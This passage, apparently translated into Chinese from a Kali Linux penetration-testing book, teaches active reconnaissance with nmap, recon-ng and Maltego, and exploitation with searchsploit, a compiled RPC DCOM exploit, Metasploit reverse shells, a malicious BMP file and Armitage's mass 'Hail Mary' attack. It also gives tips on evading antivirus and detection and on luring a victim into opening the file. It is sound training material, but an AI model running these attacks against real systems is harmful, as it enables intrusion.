识别已知漏洞的设备
-
识别继续实施隐秘扫描的要求
-
了解目标对安全架构和安全性的关注
traceroute
提供有关数据包过滤能力的基本信息;Kali 上的其他一些应用程序包括以下内容:
应用 | 描述 |
---|---|
lbd | 使用两种基于 DNS 和 HTTP 的技术来检测负载均衡器(如下图所示) |
miranda.py | 识别通用即插即用和 UPNP 设备 |
nmap | 检测设备并确定其操作系统及版本 |
SHODAN | 基于 Web 的搜索引擎,可识别连接到互联网的设备,包括具有默认密码、已知配置错误和漏洞的设备 |
以下屏幕截图显示了针对 Google 运行lbd
脚本所获得的结果;正如您所看到的,Google 在其网站上既使用了DNS 负载平衡
,也使用了HTTP 负载平衡
。从渗透测试人员的角度来看,这些信息可以用来解释为什么会得到虚假的结果,因为负载均衡器将特定工具的活动从一个服务器转移到另一个服务器。
枚举主机
主机枚举是获取有关特定主机的具体细节的过程。仅仅知道服务器或无线接入点存在是不够的;相反,我们需要通过识别开放端口、基本操作系统、正在运行的服务和支持应用程序来扩大攻击面。
这是非常侵入性的,除非小心,主动侦察将被目标组织检测并记录。
活动主机发现
第一步是对目标地址空间运行网络 ping 扫描,并寻找指示特定目标是活动的并且能够响应的响应。在历史上,ping 是指使用 ICMP;然而,TCP、UDP、ICMP 和 ARP 流量也可以用来识别活动主机。
可以从互联网的远程位置运行各种扫描程序,以识别活动主机。尽管主要扫描程序是nmap
,但 Kali 还提供了其他几个同样有用的应用程序,如下表所示:
应用 | 描述 |
---|---|
alive6 和 detect-new-ip6 | IPv6 主机检测。detect-new-ip6 定期运行并在添加新的 IPv6 设备时进行识别。 |
dnmap 和nmap | nmap 是标准的网络枚举工具。dnmap 是nmap 扫描器的分布式客户端-服务器实现。PBNJ 将nmap 结果存储在数据库中,然后进行历史分析以识别新主机。 |
fping 、hping2 、hping3 和nping | 响应目标以不同方式识别活动主机的数据包生成器 |
对于渗透测试人员或攻击者来说,从活动主机发现返回的数据将确定攻击目标。
提示
在进行渗透测试时运行多个主机发现扫描。某些设备可能是时间相关的。在一次渗透测试中,发现系统管理员在正常工作时间之后设置了一个游戏服务器。因为它不是一个经过批准的业务系统,管理员没有按照正常的流程来保护服务器;存在多个易受攻击的服务,并且没有接收到必要的安全补丁。测试人员能够攻破游戏服务器并利用管理员游戏服务器中的漏洞访问底层企业网络。
端口、操作系统和服务发现
Kali 提供了几种有用于识别远程主机上开放端口、操作系统和已安装服务的不同工具。大多数这些功能可以使用nmap
完成。虽然我们将重点关注使用nmap
的示例,但基本原则也适用于其他工具。
端口扫描
端口扫描是连接到 TCP 和 UDP 端口以确定目标设备上运行的服务和应用程序的过程。每个系统上 TCP 和 UDP 都有 65,535 个端口。一些端口已知与特定服务相关联(TCP 20 和 21 是文件传输协议服务(FTP)的通常端口)。前 1024 个是众所周知的端口,大多数定义的服务都在这个范围内运行;接受的服务和端口由 IANA 维护(www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml
)。
提示
尽管特定服务有接受的端口,比如端口 80 用于基于网络的流量,服务可以被指定使用任何端口。这个选项经常被用来隐藏特定服务,特别是如果该服务已知容易受到攻击。然而,如果攻击者完成了端口扫描却没有找到预期的服务,或者发现它使用了不寻常的端口,他们将被促使进一步调查。
通用端口映射工具nmap
依赖于主动堆栈指纹识别。特制的数据包被发送到目标系统,操作系统对这些数据包的响应允许nmap
识别操作系统。为了让nmap
工作,至少一个监听端口必须是开放的,并且操作系统必须是已知的并且有指纹,该指纹的副本在本地数据库中。
使用nmap
进行端口发现非常嘈杂——它将被网络安全设备检测并记录。需要记住的一些要点如下:
-
专注于隐秘的攻击者和渗透测试人员只会测试对他们特定目标的杀伤链产生影响的端口。如果他们发起的攻击利用了 Web 服务器的漏洞,他们将寻找可访问
端口 80
或端口 8080
的目标。 -
大多数端口扫描器都有默认的端口列表进行扫描——确保你知道列表上有什么,以及有什么被省略了。考虑 TCP 和 UDP 端口。
-
成功的扫描需要对 TCP/IP 和相关协议、网络以及特定工具的工作原理有深入的了解。例如,SCTP 是网络上越来越常见的协议,但在企业网络上很少被测试。
-
端口扫描,即使速度较慢,也会对网络产生影响。一些较旧的网络设备和特定厂商的设备在接收或传输端口扫描时会被锁定,从而将扫描变成拒绝服务攻击。
-
用于扫描端口的工具,特别是
nmap
,正在扩展功能。它们还可以用于检测漏洞并利用简单的安全漏洞。
指纹识别操作系统
确定远程系统的操作系统使用两种类型的扫描:
-
主动指纹识别:攻击者向目标发送正常和畸形的数据包,并记录其响应模式,称为指纹。通过将指纹与本地数据库进行比较,可以确定操作系统。
-
被动指纹识别:攻击者嗅探,或记录和分析数据包流以确定数据包的特征。
主动指纹识别比被动指纹识别更快更准确。在 Kali 中,两个主要的主动工具是nmap
和xprobe2
。
nmap
工具向目标网络注入数据包并分析其接收到的响应。在下面的屏幕截图中,-O
标志命令nmap
确定操作系统。因为它向目标注入数据包,所以nmap
对操作系统的确定的准确性取决于开放端口的数量。它通常有效地区分 Windows 和 Unix 系统,但可能不提供非常具体的信息,比如区分各种 Unix 内核。下面的屏幕截图显示了对 Windows 系统进行nmap
扫描的结果。目标系统上只有少数端口可用于测试,因此无法区分 Windows 7 企业版和 Windows XP sp3。
相关程序xprobe2
使用不同的 TCP、UDP 和 ICMP 数据包来绕过防火墙,并避免被 IDS/IPS 系统检测到。xprobe2
还使用模糊模式匹配——操作系统不被确定为某一类型;而是被分配为可能是几种可能的变体之一的概率。正如您在下面的屏幕截图中所看到的,这使测试人员能够测试特定于操作系统变体的漏洞;这种特异性增加了成功的机会,并最大程度地减少了在尝试使用错误的工具进行利用时可能发生的风险。
请注意,目标系统很容易隐藏真实的操作系统。由于指纹识别软件依赖于数据包设置,如生存时间或初始窗口大小,对这些值或其他用户可配置的设置的更改可能会改变工具的结果。一些组织积极改变这些值,以使侦察的最后阶段更加困难。
确定活动服务
侦察的枚举部分的最终目标是确定目标系统上正在运行的服务和应用程序。如果可能的话,攻击者希望知道服务类型、供应商和版本,以便于识别任何漏洞。
以下是用于确定活动服务的一些技术:
-
识别默认端口和服务:如果远程系统被识别为具有 Microsoft 操作系统并且开放了
端口 80
(WWW 服务),攻击者可能会假定安装了默认的 Microsoft IIS。将使用其他测试来验证这一假设(nmap
)。 -
横幅抓取:使用 amap、netcat、
nmap
和 Telnet 等工具进行。 -
审查默认网页:一些应用程序安装了默认的管理、错误或其他页面。如果攻击者访问这些页面,它们将提供有关可能易受攻击的已安装应用程序的指导。在下面的屏幕截图中,攻击者可以轻松地识别已安装在目标系统上的 Apache Tomcat 的版本。
-
审查源代码:配置不良的基于 Web 的应用程序可能会对某些 HTTP 请求(如
HEAD
或OPTIONS
)做出响应,其中包括 Web 服务器软件版本,可能还包括基本操作系统或正在使用的脚本环境。在下面的屏幕截图中,netcat 从命令行启动,并用于向特定网站发送原始HEAD
数据包。这个请求生成了一个错误消息(404 未找到);然而,它也确定了服务器正在运行 Microsoft IIS,版本 7.5。
使用全面的侦察应用程序
尽管 Kali 包含多个工具来促进侦察,但许多工具具有重叠的功能,并且从一个工具导入数据到另一个工具通常是一个复杂的手动过程。大多数测试人员选择一部分工具,并使用脚本调用它们。
最初是具有一组定义功能的命令行工具的综合工具,其中最常用的是Deepmagic 信息收集工具(DMitry)。DMitry 可以执行whois
查找、检索 netcraft.com 信息、搜索子域和电子邮件地址,并执行 TCP 扫描。不幸的是,它在这些功能之外无法扩展。
最近的进展已经创造了综合的框架应用程序,结合了被动和主动侦察;我们将审查nmap
,recon-ng
和maltego
。
nmap
传统上,nmap
被认为是一个简单的映射工具,提供有关主机和端口可用性的数据,以及一些其他数据,如目标设备的可能操作系统。
Nmap 脚本引擎(NSE)已将nmap
转变为一个可以进行被动和主动侦察,甚至进行基本漏洞扫描的工具(完整的脚本列表可在nmap.org/nsedoc/
找到)。
因为脚本是用 Lua 脚本语言编写的,所以渗透测试社区很容易修改和发布脚本。目前,脚本化功能包括以下内容:
-
IPv4 和 IPv6 DNS 数据的侦察
-
识别 Web 应用程序防火墙、IDS、IPS 和其他防护控制的存在
-
测试防火墙规则集(通过 firewalk)并尝试绕过防火墙
-
从目标和在线站点收集用户名
-
针对各种服务和应用程序进行密码暴力破解
-
爬取目标网络以识别网络共享
-
从指定网站的图像中提取 EXIF 元数据
-
IP 地址的地理定位
-
进行网络攻击,如 IPv6 数据包洪泛
-
漏洞扫描,包括模糊测试和 SQL 注入测试
正如你所看到的,使用 Lua 等可扩展语言对nmap
活动进行脚本编写的能力增加了这个工具的重要性。
一个有用的脚本是 Marc Ruef 的vulscan(www.computec.ch/mruef/software/nmap_nse_vulscan-1.0.tar.gz
),它结合了nmap
的指纹特性(使用-sV
标志)与对主要漏洞的查找,如 MITRE、OSVDB 和 SecurityFocus。
下载脚本包后,解压文件并将脚本文件移动到usr/share/nmap/scripts
。
要从命令行调用其中一个脚本,请使用--script
标志,然后识别脚本名称。经常使用的一个脚本是nmap
的通用漏洞扫描程序,使用以下命令启动:
root@kali:~# nmap -sV --script=vulscan.nse digitaldefence.ca
在这种特殊情况下,漏洞扫描未发现任何已知漏洞的漏洞,如下面的屏幕截图所示:
提示
必备脚本是 SpiderLabs 脚本,用于截取网络服务的屏幕截图。它需要下载wkhtmltoimage工具(wkhtmltopdf.googlecode.com
)并放置在/usr/local/bin
文件夹中。然后应下载屏幕截图脚本本身(github.com/SpiderLabs/Nmap-Tools/blob/master/NSE/http-screenshot.nse
)并放置在/usr/local/share/nmap/scripts
中。当调用时,此脚本会生成所有已识别的网络服务的视觉记录,从而更容易选择以后进行测试的目标。
recon-ng 框架
recon-ng
框架是用于进行侦察(被动和主动)的开源框架。
与 Metasploit Framework 和 Social Engineer Toolkit 一样,recon-ng
使用模块化框架。每个模块都是一个定制的cmd解释器,预先配置以执行特定任务。
recon-ng
框架及其模块均以 Python 编写,允许渗透测试人员轻松构建或更改模块以便进行测试。
recon-ng
工具利用第三方 API 进行一些评估;这种额外的灵活性意味着recon-ng
进行的一些活动可能会被这些方面跟踪。用户可以指定自定义的UserAgent
字符串或代理请求以最小化警报目标网络。
recon-ng
收集的所有数据都存储在数据库中,允许您针对存储的数据创建各种报告。用户可以选择报告模块之一自动生成 CVS 报告或 HTML 报告。
要使用 recon,执行以下步骤:
- 如果您的 Kali 版本上没有安装
recon-ng
,请使用以下命令:
apt-get install recon-ng
-
要启动应用程序,请在提示符下输入
recon-ng
,如下面的屏幕截图所示。启动屏幕将指示模块的数量,并且帮助命令将显示可用于导航的命令。 -
要显示可用的模块,请在
recon-ng>
提示符下键入show
。要加载特定模块,请键入load
,然后输入模块的名称。在输入时按 Tab 键将自动完成命令。如果模块有唯一的名称,您可以输入名称的唯一部分,模块将加载而无需输入完整路径。
输入info
,如下面的屏幕截图所示,将为您提供有关模块如何工作以及如何获取 API 密钥(如果需要)的信息。
- 加载模块后,使用
set
命令设置选项,然后输入run
执行,如下面的屏幕截图所示:
一般来说,测试人员依赖recon-ng
来执行以下操作:
-
使用
whois
,jigsaw
,linkedin
和twitter
收集联系人(使用 mangle 模块提取和呈现电子邮件数据) -
识别主机
-
使用
hostop
,ipinfodb
,maxmind
,uniapple
和wigle
识别主机和个人的地理位置 -
使用 netcraft 和相关模块识别主机信息
-
识别先前已经泄露到互联网上的帐户和密码信息(
pwnedlist
模块,wascompanyhacked
,xssed
和punkspider
)
Maltego
Maltego (www.paterva.com)是一款开源情报和取证应用程序。Kali 附带的社区版本对搜索的大小设置了限制;但是,它是一款用于可视化数据关系的优秀工具,使用数据挖掘和链接分析。
Maltego 允许您枚举个人信息,将特定人员与公司、电子邮件地址、网站、社交网络组和电话号码联系起来。它还促进了whois
信息、域名、DNS 信息、IP 地址和网络块的被动和主动侦察。
-
要打开应用程序,请输入
maltego
作为命令提示符。第一次打开时,您需要注册并验证您的电子邮件地址与 Paterva。 -
完成注册和转换更新后,您将看到一个多面板的 GUI,允许您检查各种数据对象之间的连接,如下面的屏幕截图所示:
Maltego 依赖于存储在应用程序左侧调色板中的一系列转换或模块。通过从左侧列中选择它们,然后将它们拖到应用程序中心来选择转换。
默认情况下,初始选择时图标可能被称为pantera.com;但是,您可以使用右侧列中的数据操作区域来重命名和更改数据。
社区版中存在几种不同的转换;这些被分成几个组,如设备,基础设施,个人,位置,渗透测试和社交网络,如下面的屏幕截图所示:
- 将适当的转换拖到工作表上,右键单击以显示将针对该转换身份完成的转换。请记住,如果选择全部选项,处理将需要大量时间。
分析关系的能力在执行社会工程攻击时特别有用。例如,如果目标网站包含多个链接到另一个网站,攻击者可以利用这种关系进行钓鱼攻击。
漏洞扫描
漏洞扫描利用自动化流程和应用程序来识别网络、系统、操作系统或应用程序中可能存在的漏洞。
当漏洞扫描正确执行时,它会提供设备清单(经授权和流氓设备),已经主动扫描的已知漏洞,通常还会确认设备在各种政策和法规方面的合规性。
不幸的是,漏洞扫描是喧闹的——它们会传递多个数据包,大多数网络控制都很容易检测到,并且几乎不可能实现隐身。它们还存在以下额外的限制:
-
在大多数情况下,漏洞扫描仪是基于签名的——它们只能检测已知的漏洞,只有在扫描仪可以应用于目标的现有识别签名时才能检测到。对于渗透测试人员来说,最有效的扫描仪是开源的,并允许测试人员快速修改代码以检测新的漏洞。
-
扫描仪产生大量输出,经常包含可能误导测试人员的假阳性结果;特别是,具有不同操作系统的网络可能会产生高达七十%的假阳性。
-
扫描仪可能对网络产生负面影响——它们可能会导致网络延迟或导致某些设备的故障(请参阅www.digininja.org上的网络扫描观察列表,了解因漏洞测试而导致故障的设备)。
-
在某些司法管辖区,扫描被视为黑客行为,可能构成非法行为。
有多种商业和开源产品可以执行漏洞扫描。在 Kali 中,扫描工具可以在漏洞分析子菜单以及Web 漏洞扫描仪菜单中找到;然而,主要的漏洞扫描仪是开放漏洞评估系统(OpenVAS)。
Kali 支持安装额外的扫描仪。如果决定在测试期间牺牲隐蔽性以获得完整性,始终使用至少两种不同的扫描仪来最小化误报结果。推荐的扫描仪包括 Nexpose(www.rapid7.com)和著名的 Nessus(www.nessus.org)。
总结
在主动侦察期间,攻击者面临着他们的活动被识别的真实机会,使他们面临风险。这必须与绘制网络、查找开放端口以及确定安装的操作系统和应用程序的需求进行平衡。
为了降低风险,攻击者必须采用隐蔽的扫描技术。手动方法用于创建缓慢的扫描;然而,这种方法并不总是有效的。因此,攻击者利用 Tor 网络和各种代理应用程序来隐藏他们的身份。
在下一章中,我们将专注于分析侦察阶段和其他来源的数据,并将其用于计划和执行针对目标网络或系统的远程利用。我们将审查各种攻击技术和工具,并专注于如何确保利用不能被正常手段检测到。我们还将研究远程利用作为一个持续的过程——一旦您成功地攻击了一个目标,如何利用这一成功来转移到新的目标。
第四章:利用
被动和主动侦察的目标是识别最有可能支持测试人员或攻击者目标(拒绝服务、窃取或修改数据)的可利用安全漏洞。杀链的利用阶段侧重于创建实现目标的访问——要么通过创建拒绝服务来停止对目标的访问,要么通过建立对目标的持久访问来实现更常见的方法。
渗透测试人员必须关注利用阶段的以下方面:
-
目标是否被充分描述?如果攻击者不了解目标的网络和主机架构,攻击将失败,并且被发现的风险会增加。
-
利用是否广为人知,在目标系统上有明确定义的行动?未经描述的利用在使用时可能会产生意想不到的后果,造成的损害可能对测试过程产生负面影响。测试人员应在已知环境中验证所有利用。
-
利用是从远程位置进行还是在目标系统上本地进行?远程利用对攻击者更安全,因为被积极识别的机会较小;然而,本地利用给予攻击者更多对利用行动的控制,并减少了被发现的可能性。
-
什么是所需的后利用活动?如果攻击者需要从目标中窃取数据,那么利用必须支持建立交互连接。
-
是否需要对受损系统进行持久访问,还是妥协将是短期的?这将驱动对隐蔽方法的要求。
已经确定了数千个可利用的漏洞,大多数与至少一个概念验证代码或技术相关,允许系统被攻破。然而,支配成功的基本原则在网络、操作系统和应用程序中是相同的。
在本章中,您将学到:
-
威胁建模
-
使用在线和本地漏洞资源
-
使用 Metasploit 框架对远程目标进行利用
-
使用 Armitage 利用多个目标
-
绕过 ID 和防病毒检测
威胁建模
被动和主动侦察阶段绘制目标网络和系统,并确定可能可利用以实现攻击者目标的漏洞。在攻击者的杀伤链的这个阶段,行动有很强的偏见——测试人员希望立即发动攻击并证明他们可以威胁目标。然而,未经计划的攻击可能不是实现目标的最有效手段,并且可能会牺牲实现攻击目标所需的隐秘性。
渗透测试人员已经采用(正式或非正式)一种称为威胁建模的过程,最初是由网络规划者开发的,用于制定防御性对策来对抗攻击。
渗透测试人员和攻击者已经将防御性威胁建模方法学颠倒过来,以提高攻击的成功率。进攻性威胁建模是一种正式的方法,它结合了侦察和研究的结果,以制定攻击策略。攻击者必须考虑可用的目标,并确定以下列出的目标类型:
-
主要目标:这些目标一旦受到威胁,就会立即支持目标。
-
次要目标:这些目标可能提供信息(安全控制、密码和日志策略,以及本地和域管理员的名称和密码)以支持攻击或允许访问主要目标。
-
第三目标:这些目标可能与测试或攻击目标无关,但相对容易受到威胁,可能提供信息或分散注意力,使攻击的实际目标。
对于每种目标类型,测试人员必须确定要使用的方法。可以使用隐身技术攻击单个漏洞,也可以使用大量攻击来攻击多个目标,以快速利用目标。如果实施大规模攻击,防御者控制设备中的噪音通常会导致他们最小化路由器和防火墙上的日志记录,甚至完全禁用它们。
要使用的方法将指导利用的选择。通常,攻击者在创建威胁模型时遵循攻击树方法论,如下图所示:
攻击树方法允许测试人员轻松地可视化可用的攻击选项以及如果选择的攻击不成功可以采用的替代选项。生成攻击树后,利用阶段的下一步是确定可能用于攻击目标中的漏洞的利用。
使用在线和本地漏洞资源
被动和主动侦察共同确定了目标的攻击面,即可以评估漏洞的总点数。只安装操作系统的服务器只有在该特定操作系统中存在漏洞时才能被利用;然而,每安装一个应用程序,潜在漏洞的数量就会增加。
渗透测试人员和攻击者必须找到可能会危及已知和疑似漏洞的特定利用。开始搜索的第一个地方是供应商网站;大多数硬件和应用程序供应商在发布补丁和升级时会发布有关漏洞的信息。如果已知某个弱点的利用,大多数供应商都会向其客户强调这一点。尽管他们的意图是允许客户自行测试漏洞的存在,但攻击者和渗透测试人员也会利用这些信息。
收集、分析和共享有关漏洞的其他在线站点如下:
-
美国政府发布的所有公共漏洞数据的国家漏洞数据库可在
web.nvd.nist.gov/view/vuln/search
上找到。 -
Secunia 可在
secunia.com/community/
上找到。 -
开放源代码漏洞数据库项目(OSVDP)可在
www.osvdb.org/search/advsearch
上找到。 -
Packetstorm security 可在
packetstormsecurity.com/
上找到。 -
SecurityFocus 可在
www.securityfocus.com/vulnerabilities
上找到。 -
Inj3ct0r 可在
1337day.com/
上找到。 -
Offensive Security 维护的 Exploit Database 可在
www.db-exploit.com
上找到。
漏洞数据库也被复制到 Kali 本地,并且可以在/usr/share/exploitdb
目录中找到。在使用之前,请确保已使用以下命令进行更新:
cd /usr/share/exploitdb
wget http://www.exploit-db.com/archive.tar.bz2
tar -xvjf archive.tar.bz2
rm archive.tar.bz2
要搜索exploitdb
的本地副本,请打开终端窗口并在命令提示符中输入searchsploit
和所需的搜索词。这将调用一个脚本,该脚本搜索包含所有漏洞利用程序列表的数据库文件(.csv
)。搜索将返回已知漏洞的描述以及相关漏洞利用程序的路径。漏洞利用程序可以被提取、编译并针对特定漏洞运行。请看下图,显示了漏洞的描述:
提示
搜索脚本会从左到右扫描 CSV 文件的每一行,因此搜索词的顺序很重要——搜索oracle 10g
将返回几种漏洞利用程序,但10g oracle
将不会返回任何结果。此外,该脚本对大小写敏感;尽管您被指示在搜索词中使用小写字符,但搜索Bulletproof FTP
不会返回任何结果,但bulletproof FTP
会返回七个结果,而bulletproof ftp
不会返回任何结果。可以使用grep
命令或类似 KWrite(apt-get install kwrite
)的搜索工具更有效地搜索 CSV 文件。
本地数据库搜索可能会识别出几种可能的漏洞利用程序,并附有描述和路径列表;但是,这些都必须根据您的环境进行定制,然后再进行编译。将漏洞利用程序复制到/tmp
目录(给定的路径没有考虑到/windows/remote
目录位于/platforms
目录中)。
以 Perl、Ruby 和 PHP 等脚本形式呈现的漏洞利用程序相对容易实现。例如,如果目标是可能对 WebDAV 远程身份验证绕过存在漏洞的 Microsoft II 6.0 服务器,请将漏洞利用程序复制到根目录,然后作为标准 Perl 脚本执行,如下图所示:
许多漏洞利用程序都是以源代码形式提供的,必须在使用之前进行编译。例如,搜索 RPC 特定漏洞可能会识别出几种可能的漏洞利用程序。以下是摘录的一部分:
76.c
标识的 RPC DCOM 漏洞据实践所知相对稳定。因此,我们将以此为例。要编译此漏洞利用程序,请将其从存储目录复制到/tmp
目录。在该位置,使用以下命令使用 GCC 进行编译:
root@kali:~# gcc 76.c -o 76.exe
这将使用 GNU 编译器集合应用程序将76.c
编译为一个名为76.exe
的文件,如下图所示:
当您针对目标调用应用程序时,必须使用符号链接调用可执行文件(不存储在/tmp
目录中),如下所示:
root@kali:~# ./76.exe
这个漏洞的源代码有很好的文档记录,并且在执行时所需的参数清晰明了,如下面的截图所示:
不幸的是,并非所有来自漏洞数据库和其他公共来源的漏洞利用都像76.c
那样容易编译。以下列出了一些问题,这些问题使得使用这些漏洞利用变得棘手,甚至对渗透测试人员来说是危险的:
-
故意的错误或不完整的源代码经常会遇到,因为经验丰富的开发人员试图让那些不熟悉的用户,尤其是试图在不了解风险的情况下破坏系统的初学者远离漏洞利用。
-
漏洞利用并不总是有足够的文档记录;毕竟,没有标准来规范旨在用于破坏数据系统的代码的创建和使用。因此,它们可能难以使用,特别是对于缺乏应用开发专业知识的测试人员来说。
-
由于环境的变化(目标系统应用新的补丁和目标应用程序的语言变化)导致的不一致行为可能需要对源代码进行重大修改;同样,这可能需要一个熟练的开发人员。
-
总是有免费可用的代码包含恶意功能的风险。渗透测试人员可能认为自己正在进行概念验证(POC)练习,并且不知道漏洞利用还在被测试的应用程序中创建了一个后门,这个后门可以被开发人员利用。
为了确保一致的结果并创建一个遵循一致实践的编码社区,已经开发了几个漏洞利用框架。最流行的利用框架是 Metasploit Framework。
Metasploit Framework
Metasploit Framework(MSF)是一个旨在促进渗透测试的开源工具。它使用 Ruby 编程语言编写,采用模块化方法来促进漏洞利用。这使得开发和编写漏洞利用变得更容易,也允许复杂的攻击得以轻松实施。
MSF 可以向控制利用的后端模块提供多个接口(控制台、CLI 和 Web)。我们将使用控制台接口,因为它速度快,可以显示攻击命令,并且具有易于理解的配置参数界面。要访问此界面,请在命令提示符中输入msfconsole
,或者从下拉菜单中选择它,例如Top 10 Security Tools。下面的截图显示了应用程序启动时的启动画面:
MSF 由模块组成,这些模块结合起来影响漏洞利用。模块及其特定功能如下:
-
漏洞利用:针对特定漏洞的代码片段。主动利用将利用特定目标,运行直到完成,然后退出(例如,缓冲区溢出)。被动利用等待传入主机,例如 Web 浏览器或 FTP 客户端,并在连接时利用它们。
-
有效载荷:这些是在成功利用后立即执行命令的恶意代码。
-
辅助模块:这些模块不建立或直接支持测试人员和目标系统之间的访问;相反,它们执行支持利用阶段的扫描、模糊测试或嗅探等相关功能。
-
后置模块:在成功攻击后,这些模块在受损目标上运行,收集有用的数据,并将攻击者深入到目标网络中。我们将在第五章中了解更多关于后置模块的信息,目标上的后期利用 - 行动。
-
编码器:当漏洞利用必须绕过防病毒防御时,这些模块对有效载荷进行编码,以便它不能被检测到使用签名匹配技术。
-
无操作(NOPs):这些用于在攻击期间促进缓冲区溢出。
这些模块一起用于进行侦察并对目标发动攻击。使用 MSF 对目标系统进行利用的步骤可以总结如下:
-
选择并配置利用(对目标系统上特定漏洞的代码进行利用)。
-
检查目标系统以确定其是否容易受到利用的攻击。这一步是可选的,通常会被省略以最小化检测。
-
选择并配置有效载荷(在成功利用后将在目标系统上执行的代码。例如,从受损系统到源系统的反向 shell)。
-
选择一种编码技术来绕过检测控制(IDS/IP 或防病毒软件)。
-
执行利用。
下一个示例代表了针对目标 Linux 操作系统 Metasploitable2 的简单攻击。它可以在sourceforge.net/projects/metasploitable/files/Metasploitable2
上找到。Metasploitable2 被设计成易受攻击,并且包含已知和特征化的漏洞,为培训和验证利用工具提供了一个标准平台。
当作为虚拟机安装(在附录中介绍,安装 Kali Linux),Metasploitable 可以使用nmap
进行扫描,以识别开放端口和相关应用程序。以下截图显示了nmap
扫描的摘录:
在前面的示例中,nmap
识别了几个应用程序。作为测试人员,我们应该调查每个应用程序是否存在已知的漏洞。其中一个最好的起点是 Metasploit 自己的利用集合。可以使用以下命令行搜索:
msf> search samba
返回的 samba 服务利用被列出,并且每个利用都被分配了一个相对的排名,用于表示它们在实现利用时的成功程度。以下截图显示了可用的 samba 利用的摘录:
exploit/multi/samba/usermap_script
利用被选中用于本示例的其余部分,因为它被评为优秀。这个排名是由 Metasploit 开发团队确定的,用于表示利用在对稳定目标系统的熟练测试人员手中的可靠程度。在现实生活中,多个变量(测试人员技能、网络上的保护设备以及操作系统和托管应用程序的修改)可以共同工作,从而显著改变利用的可靠性。
使用以下info
命令获取有关该利用的其他信息:
msf> info exploit/multi/samba/usermap_script
返回的信息包括参考资料以及以下截图中显示的信息:
为了指示 Metasploit 我们将使用这个利用来攻击目标,我们发出以下命令:
msf> use exploit/multi/samba/usermap_script
Metasploit 将命令提示符从msf>
更改为msf exploit (usermap_script) >
。
Metasploit 提示测试人员选择有效载荷(从受损系统到攻击者的反向 shell),并设置以下列出的其他变量:
-
远程主机(RHOST):这是被攻击系统的 IP 地址
-
远程端口(RPORT):这是用于利用的端口号
-
本地主机(LHOST):这是用于发动攻击的系统的 IP 地址
在设置了所有变量之后,在提示符下输入exploit
命令启动攻击。Metasploit 启动攻击,并通过指示command shell 1 opened
并给出发起和终止反向 shell 的 IP 地址来确认反向 shell 的存在。
为了验证是否存在 shell,测试人员可以查询主机名、用户名(uname -a
)和whoami
,以确认结果是特定于位于远程位置的目标系统。看一下下面的截图:
当系统受到这种程度的威胁时,它已经准备好进行后利用活动(参见第五章,目标上的后利用-目标上的行动和第六章,后利用-持久性)。要向 Metasploit 添加新的利用,在 Ruby 脚本(.rb
)或 Python(.py
)中,将它们放在位于您的主目录中的隐藏.msf4
文件夹中,然后重新加载msfconsole
。
利用易受攻击的应用程序
Metasploit 框架对操作系统和第三方应用程序中的漏洞同样有效。在这个例子中,我们将利用 Chasys Draw IES(版本 4.10.01)中发现的缓冲区溢出漏洞。该漏洞存在于ReadFile
函数中,该函数用于以不安全的方式存储用户提供的数据。利用结果是在用户的上下文中执行任意代码。
要发起攻击,测试人员需要生成一个特制的 BMP 文件,然后让受害者在 Chasys 应用程序中打开该文件。当这种情况发生时,它将危害基本操作系统(对 Windows XP SP3 和 Windows 7 SP1 有效)。
第一步是打开msfconsole
并设置 Metasploit 使用exploit/windows/fileformat/chasys_draw_ies_bof
,如下截图所示:
再次,利用是一个相对简单的利用。测试人员需要从受损系统设置一个反向 shell(reverse_tcp
)到测试人员的系统,本地主机(LHOST)。
当利用完成时,它会创建一个特制的 BMP 文件,存储为默认名称msf.bmp
。为了诱使目标打开文件并避免一些设备可能检测到的默认名称,最好将文件名更改为与预期目标更相关的内容。
下一步是打开一个新的msfconsole
实例,并为从目标发起的反向 TCP shell 设置一个监听器。下面的截图显示了一个简单的监听器:
一旦受害者在易受攻击的应用程序中打开精心制作的 BMP 图像文件,两个系统之间就会打开一个meterpreter
会话。msf
提示符被meterpreter
提示符替换,测试人员可以有效地通过命令行访问远程系统。妥协后的第一步是验证您是否在目标系统上;如下截图所示,sysinfo
命令识别计算机名称和操作系统,验证了成功的攻击:
使用 Armitage 利用多个目标
Armitage 经常被渗透测试人员忽视,他们放弃了其图形用户界面,转而使用传统的 Metasploit 控制台命令行输入。然而,它具有 Metasploit 的功能,同时还可以看到其许多可能的选项,使其成为复杂测试环境中的一个很好的选择。与 Metasploit 不同的是,它还允许您同时测试多个目标——最多可同时测试 512 个目标。
要启动 Armitage,请确保使用以下命令启动数据库和 Metasploit 服务:
service postgresqlstart
service metasploit start
在完成这一步之后,在命令提示符下输入armitage
来执行该命令。Armitage 并不总是执行得很干净,可能需要重复启动步骤以确保其正常运行。
要发现可用的目标,您可以通过提供其 IP 地址手动添加主机,或者从菜单栏的主机选项卡中选择nmap
扫描。Armitage 还可以使用 MSF 辅助命令或 DNS 枚举枚举目标。
Armitage 还可以从以下文件导入主机数据:Acunetix、amap、AppScan、Burp 代理、Foundstone、Microsoft 基线安全分析器、Nessus NBE 和 XML 文件、NetSparker、NeXpose、nmap、OpenVas、Qualys 和 Retina。初始的 Armitage 启动屏幕如下截图所示:
Armitage 允许您通过右键选择主机,然后转到主机菜单并选择**设置标签…**功能来设置主机标签。这允许您标记特定的地址或通过常用名称标识它,在团队测试时非常有帮助。这个过程在下面的截图中显示:
Armitage 还支持动态工作区-基于网络标准、操作系统、开放端口和服务以及标签的网络的过滤视图。例如,您可以测试一个网络,并识别出几台似乎没有像网络的其余部分那样打补丁的服务器。这些可以通过给它们贴上标签然后将它们放在优先工作区中来突出显示。
一旦您确定了网络上存在的目标系统,您可以选择特定的模块作为利用过程的一部分来实施。您还可以使用菜单栏中的攻击选项来查找攻击。
要利用主机,请右键单击选择它,导航到攻击项目,并选择一个漏洞利用(确保操作系统设置正确的主机;这并不总是自动发生)。
一个有趣的选项是Hail Mary,位于攻击选项下。通过选择此功能,所有识别的系统都会自动受到攻击,以实现可能的最大数量的妥协。这是一个非常喧闹的攻击,因此应该作为最后的测试选择。这也是确定入侵检测系统是否实施和配置正确的绝佳方式!
被入侵的系统显示为带有红色边框和电火花的图标。在下一个截图中,两个测试系统已被入侵,并且在这些系统和测试人员之间有四个活动会话。活动会话
面板显示连接并标识用于入侵目标的漏洞利用。请查看以下截图,表示不同的选项:
提示
在进行的渗透测试中,Hail Mary选项识别了目标的两个可利用漏洞,并启动了两个活动会话。对同一目标的手动测试最终识别出了八个可利用漏洞,并在被入侵系统和测试人员之间建立了多个通信渠道。这种类型的真实测试加强了渗透测试过程中自动化工具的优势和劣势。
使用 Armitage 进行团队测试
